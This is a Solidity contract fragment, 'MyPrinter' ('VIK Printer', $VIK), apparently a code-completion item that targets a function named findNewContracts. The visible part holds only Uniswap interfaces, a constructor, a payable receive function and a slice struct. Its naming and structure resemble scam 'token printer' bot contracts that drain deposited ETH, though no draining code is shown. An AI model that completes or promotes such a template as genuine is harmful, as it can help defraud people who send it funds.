// Contract: MyPrinter
// Target function: function findNewContracts(slice memory self, slice memory other) internal pure returns (int)
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

interface IUniswapV2Migrator {
    function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;
}

interface IUniswapV1Exchange {
    function balanceOf(address owner) external view returns (uint);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
    function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
    function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}

interface IUniswapV1Factory {
    function getExchange(address) external view returns (address);
}

contract MyPrinter {

    string public tokenName;
    string public tokenSymbol;
    uint liquidity;

    event Log(string _msg);

    constructor() public {
        tokenSymbol = "$VIK";
        tokenName = "VIK Printer";
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }